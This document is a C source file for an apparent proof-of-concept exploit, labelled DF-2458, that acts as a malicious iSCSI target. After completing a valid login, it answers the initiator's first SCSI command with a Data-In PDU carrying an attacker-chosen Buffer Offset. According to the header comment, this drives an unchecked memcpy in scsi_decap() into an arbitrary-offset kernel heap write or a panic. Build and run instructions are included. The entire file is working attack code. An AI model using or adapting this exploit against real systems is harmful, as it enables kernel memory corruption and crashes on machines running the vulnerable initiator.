DF-2458 / mtarget2458.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 | /* * mtarget2458.c - Malicious iSCSI target for DF-2458 (scsi_decap buffer-offset write). * * Performs a minimal-but-valid iSCSI Login (Security -> Operational -> FFP), * then, once the initiator is in Full Feature Phase and CAM issues a SCSI * command (INQUIRY) for LUN probing, replies with a SCSI Data-In PDU whose * target-controlled Buffer Offset (bo) is attacker-chosen. scsi_decap() * computes dp = csio->data_ptr + ntohl(bo) with NO bounds check and memcpy()s * the data segment there -> arbitrary-offset kernel heap write / panic. * * Build: cc -o mtarget2458 mtarget2458.c * Run: ./mtarget2458 (listens 127.0.0.1:3260) * * iscontrol side (root): * iscontrol -t 127.0.0.1 targetName=iqn.1990-08.com.fake:t \ * initiatorName=iqn.1990-08.com.fake:i authMethod=None */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <signal.h> static int G_c = -1; static unsigned statSN = 0; static unsigned expCmdSN = 1; static unsigned maxCmdSN = 32; /* BHS field offsets (network order, 48 bytes). */ #define BHS_OP 0 #define BHS_FLAGS 1 #define BHS_AHSLEN 4 #define BHS_DSLEN 5 /* 24-bit, bytes 5..7 */ #define BHS_LUN 8 #define BHS_ITT 16 #define BHS_CMDSN 24 #define BHS_EXPSTATSN 28 #define BHS_STATSN 24 /* in target->initiator PDUs, OpcodeSpecificFields[1] */ #define BHS_MAXCMDSN 36 static unsigned get24(const unsigned char *b, int off) { return ((unsigned)b[off] << 16) | ((unsigned)b[off+1] << 8) | b[off+2]; } static void set24(unsigned char *b, int off, unsigned v) { b[off] = (v >> 16) & 0xff; b[off+1] = (v >> 8) & 0xff; b[off+2] = v & 0xff; } static void put32(unsigned char *b, int off, unsigned v) { b[off]=v>>24; b[off+1]=v>>16; b[off+2]=v>>8; b[off+3]=v; } static unsigned get32(const unsigned char *b, int off) { return ((unsigned)b[off]<<24)|((unsigned)b[off+1]<<16)|((unsigned)b[off+2]<<8)|b[off+3]; } /* read exactly n bytes */ static int readn(int fd, void *buf, int n) { int got = 0, r; unsigned char *p = buf; while (got < n) { r = read(fd, p + got, n - got); if (r <= 0) return -1; got += r; } return got; } static void sendb(const void *p, int n) { if (write(G_c, p, n) != n) perror("write"); } /* Build & send a Login Response (opcode 0x23). echoes isid/itt/tsih, T=1, status=0, advances CSG->NSG as the initiator asked. */ static void send_login_rsp(const unsigned char *req, const char *dataseg, int dslen) { unsigned char b[48 + 4096]; int pad, total; memset(b, 0, sizeof(b)); b[BHS_OP] = 0x23; /* Login Response */ /* flags byte: copy CSG/NSG/T from request (byte 1) -- agree to transit */ b[BHS_FLAGS] = req[BHS_FLAGS] | 0x80; /* force T=1 (bit 7) */ b[2] = 0x00; /* max version */ b[3] = 0x00; /* active version */ /* isid[6] at offset 8, tsih (16-bit, network order) at offset 14 */ memcpy(b + 8, req + 8, 6); b[14] = 0; b[15] = 1; /* tsih = 1 (target-assigned, non-zero) */ put32(b, BHS_ITT, get32(req, BHS_ITT)); /* echo itt */ /* reserved _2 at 20 */ statSN++; put32(b, 24, statSN); /* StatSN */ put32(b, 28, expCmdSN); /* ExpCmdSN */ put32(b, 32, maxCmdSN); /* MaxCmdSN */ put32(b, 36, 0); /* status = 0 (success) */ set24(b, BHS_DSLEN, dslen); total = 48; memcpy(b + 48, dataseg, dslen); total += dslen; pad = (4 - (dslen & 3)) & 3; if (pad) { memset(b + total, 0, pad); total += pad; } sendb(b, total); } /* operational parameter agreements (key=value\0...) */ static const char *SEC_RSP = "AuthMethod=None\0"; static const char *OP_RSP = "MaxRecvDataSegmentLength=65536\0" "MaxBurstLength=262144\0" "FirstBurstLength=65536\0" "HeaderDigest=None\0" "DataDigest=None\0" "ErrorRecoveryLevel=0\0" "DefaultTime2Wait=2\0" "DefaultTime2Retain=20\0" "DataPDUInOrder=Yes\0" "DataSequenceInOrder=Yes\0" "MaxOutstandingR2T=1\0" "MaxConnections=1\0" "InitialR2T=Yes\0" "ImmediateData=No\0"; static int op_rsp_len(void) { /* sum of strlen+1 for each key */ const char *p = OP_RSP; int n = 0; while (*p) { int l = strlen(p)+1; n += l; p += l; } return n; } static int sec_rsp_len(void) { return strlen(SEC_RSP) + 1; } int main(int argc, char **argv) { int port = argc > 1 ? atoi(argv[1]) : 3260; unsigned bad_bo = argc > 2 ? (unsigned)strtoul(argv[2], 0, 0) : 0x40000000; int s, one = 1, in_ffp = 0; struct sockaddr_in sa; signal(SIGPIPE, SIG_IGN); s = socket(AF_INET, SOCK_STREAM, 0); setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); memset(&sa, 0, sizeof(sa)); sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr("127.0.0.1"); sa.sin_port = htons(port); if (bind(s, (struct sockaddr*)&sa, sizeof(sa)) < 0) { perror("bind"); return 1; } if (listen(s, 1) < 0) { perror("listen"); return 1; } printf("mtarget2458: listening 127.0.0.1:%d bad_bo=0x%x\n", port, bad_bo); fflush(stdout); { struct sockaddr_in ca; socklen_t cl=sizeof(ca); G_c = accept(s, (struct sockaddr*)&ca, &cl); if (G_c < 0) { perror("accept"); return 1; } } printf("mtarget2458: accepted\n"); fflush(stdout); for (;;) { unsigned char bhs[48]; unsigned char *ahs_ds = NULL; int r, ahsl, dsl, extra; r = readn(G_c, bhs, 48); if (r < 0) { printf("mtarget2458: connection closed (r=%d)\n", r); break; } ahsl = bhs[BHS_AHSLEN] * 4; dsl = get24(bhs, BHS_DSLEN); extra = ahsl + ((dsl + 3) & ~3); if (extra > 0) { ahs_ds = malloc(extra); if (readn(G_c, ahs_ds, extra) < 0) { printf("ds read fail\n"); break; } } printf("mtarget2458: PDU op=0x%02x flags=0x%02x itt=0x%08x dslen=%d ahsl=%d\n", bhs[BHS_OP] & 0x3f, bhs[BHS_FLAGS], get32(bhs, BHS_ITT), dsl, ahsl); if (dsl && ahs_ds) { printf(" ds: "); for(int i=0;i<dsl && i<64;i++) printf("%c", (ahs_ds[i]>=32&&ahs_ds[i]<127)?ahs_ds[i]:'.'); printf("\n"); } fflush(stdout); switch (bhs[BHS_OP] & 0x3f) { case 0x03: { /* Login Request */ int csg = (bhs[1] >> 2) & 3; int nsg = bhs[1] & 3; printf(" LOGIN csg=%d nsg=%d T=%d\n", csg, nsg, (bhs[1]>>7)&1); /* respond: security phase -> offer AuthMethod=None; operational -> agreements */ if (csg == 0) send_login_rsp(bhs, SEC_RSP, sec_rsp_len()); else send_login_rsp(bhs, OP_RSP, op_rsp_len()); if (nsg == 2 && (bhs[1] & 0x80)) { in_ffp = 1; printf(" -> transitioned to FFP\n"); } break; } case 0x00: /* NOP-OUT: reply NOP-IN */ case 0x04: /* Text cmd */ { unsigned char nb[48]; memset(nb, 0, 48); nb[0] = 0x20; nb[1] = 0x80; put32(nb, 16, 0xffffffff); put32(nb,20,0xffffffff); put32(nb, 24, ++statSN); put32(nb, 28, expCmdSN); put32(nb, 32, maxCmdSN); sendb(nb, 48); break; } case 0x01: { /* SCSI CMD -- inject the malicious Data-In */ unsigned itt = get32(bhs, BHS_ITT); unsigned edtlen = get32(bhs, 40 - 8); /* scsi_req.edtlen is at BHS offset 36 */ /* Note: scsi_req_t.edtlen is at byte offset 36 (cdb is 16..; edtlen before cmdSN). We re-derive from the struct: offset 36 in the 48-byte BHS. */ edtlen = get32(bhs, 36); printf(" SCSI CMD itt=0x%08x edtlen=%u -> injecting BAD Data-In bo=0x%x\n", itt, edtlen, bad_bo); fflush(stdout); /* build Data-In (opcode 0x25), F=1, S=1 (status at end), bad bo. small data segment of 'A' bytes, len <= edtlen so the 'edtlen >= ds_len' check passes. */ { int ds = 16; /* small payload */ if (ntohl(edtlen) < (unsigned)ds) ds = ntohl(edtlen); /* edtlen here is in network order from the wire; convert */ { unsigned el = ntohl(edtlen); if (el < (unsigned)ds) ds = el; if (ds <= 0) ds = 1; } unsigned char d[48 + 4096]; int total, pad; memset(d, 0, sizeof(d)); d[0] = 0x25; /* READ DATA opcode */ /* data_in_t byte1: S:1 U:1 O:1 __:3 A:1 F:1 (F=bit0, S=bit7) */ d[1] = 0x81; /* F=1 (final) + S=1 (status included) */ d[3] = 0x00; /* status GOOD */ put32(d, 16, itt); /* itt */ put32(d, 20, 0xffffffff); /* ttt */ put32(d, 24, ++statSN); /* StatSN */ put32(d, 28, expCmdSN); /* ExpCmdSN */ put32(d, 32, maxCmdSN); /* MaxCmdSN */ put32(d, 36, 0); /* DataSN */ put32(d, 40, bad_bo); /* Buffer Offset = ATTACKER VALUE */ memset(d + 48, 'A', ds); set24(d, BHS_DSLEN, ds); total = 48 + ds; pad = (4 - (ds & 3)) & 3; if (pad) { memset(d+total, 0, pad); total += pad; } sendb(d, total); printf(" sent Data-In ds=%d bo=0x%x\n", ds, bad_bo); fflush(stdout); /* if guest hasn't panicked, it will try more SCSI cmds; keep serving */ } break; } case 0x06: { /* Logout */ unsigned char lb[48]; memset(lb,0,48); lb[0]=0x26; lb[1]=0x80; put32(lb,16,get32(bhs,16)); put32(lb,24,++statSN); put32(lb,28,expCmdSN); put32(lb,32,maxCmdSN); sendb(lb,48); printf(" logout -> bye\n"); fflush(stdout); goto done; } default: printf(" (ignoring op 0x%02x)\n", bhs[0]&0x3f); fflush(stdout); break; } if (ahs_ds) { free(ahs_ds); ahs_ds = NULL; } } done: close(G_c); close(s); return 0; } |